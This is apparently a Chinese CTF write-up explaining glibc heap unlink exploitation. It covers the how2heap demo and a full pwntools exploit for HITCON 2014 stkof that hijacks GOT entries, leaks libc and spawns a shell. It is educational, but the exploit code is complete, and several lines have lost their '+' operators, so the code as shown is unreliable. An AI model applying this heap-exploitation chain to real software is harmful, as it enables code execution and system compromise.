wiki 上的图示
通过 how2heap 上的代码例子来看一下
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %pn", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %pnn", (void*) chunk0_ptr[3]);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %sn", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %sn", victim_string);
}
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)
先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)
我们来看一下,申请了两个堆之后的情况
上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过
再单步走到第 20 行(不包括)
在源码中这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk
代码语言:javascript复制chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
上面那个图没对齐,用文本来解释一下
代码语言:javascript复制gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x0000000000602010
0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010
gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000
0x601070: 0x0000000000602010 0x0000000000000000
0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010
fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070
fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!
另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。
接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作
FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD
通过前面的赋值操作
P->fd = &P - 3 * size(int) P->bk = &P - 2 * size(int)
也就是说:
FD = &P - 3 * size(int)
BK = &P - 2 * size(int)
FD->bk 按照偏移寻址,就是 FD 3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P
这样执行下来,最终实现的效果是 P = &P - 3 * size(int)
也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址
2014 HITCON stkof
这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的
https://blog.csdn.net/weixin_42151611/article/details/97016767
代码语言:javascript复制#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OKn')
def edit(index,size,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
#之所以用send是因为如果sendline的话会多读入一个'n'
#导致size和content的长度不匹配,导致错误
p.recvuntil('OKn')
def delete(index):
p.sendline('3')
p.sendline(str(index))
head = 0x602140
create(0x10)#第一块
create(0x30) #第二块
create(0x80) #第三块
payload = p64(0) p64(0x20) p64(head 16-0x18) p64(head 16-0x10) p64(0x20)
payload = payload.ljust(0x30,'a')
payload = p64(0x30) p64(0x90)
edit(2,len(payload),payload)
gdb.attach(p)
pause()
delete(3)
p.recvuntil('OKn')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload = p64(0) p64(free_got) p64(puts_got) p64(atoi_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
delete(1)
leak = p.recvuntil('nOKn')[:6]
puts_addr = u64(leak.ljust(8,'x00'))
log.success('puts addr: ' hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: ' hex(libc_base))
sys_addr = libc_base libc.symbols['system']
log.success('sys_addr: ' hex(sys_addr))
payload = p64(sys_addr)
edit(2,len(payload),payload)
payload = '/bin/shx00'
p.sendline(payload)
p.interactive()
运行程序,连个菜单都不给...
把名字改一下
create 功能,输入一个 size,然后申请 size 大小的堆块
会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 了)
edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出
wp 说没有 setbuf,会先申请 1024 的堆空间??
要先提前申请个 chunk 来防止他们干扰??
怎么就能防止干扰了??
其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧
黄色指的是提前申请的一个用来占空的
两个白色是缓冲区占用的,这样后面再申请就连起来了
这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)
payload 如下:
代码语言:javascript复制payload = p64(0) p64(0x20) p64(head 16-0x18) p64(head 16-0x10) p64(0x20)
payload = payload.ljust(0x30,'a')
payload = p64(0x30) p64(0x90)
这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head 16-0x18) 和 p64(head 16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0
这样,对第 3 个进行 free 的时候会发生 unlink,head 16 与 head 16 -0x18
那么最终的效果就是我们编辑第二个的时候就是编辑的 head 16 - 0x18,也就是 0x602138
那么
代码语言:javascript复制payload = p64(0) p64(free_got) p64(puts_got) p64(atoi_got)
edit(2,len(payload),payload)
因为此时的第 2 块指向的是head-8,所以要先填 8 位,然后再去修改的时候才是 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got
修改完之后
这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了
代码语言:javascript复制payload = p64(puts_plt)
edit(0,len(payload),payload)
那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc,算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址
代码语言:javascript复制payload = p64(sys_addr)
edit(2,len(payload),payload)
因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果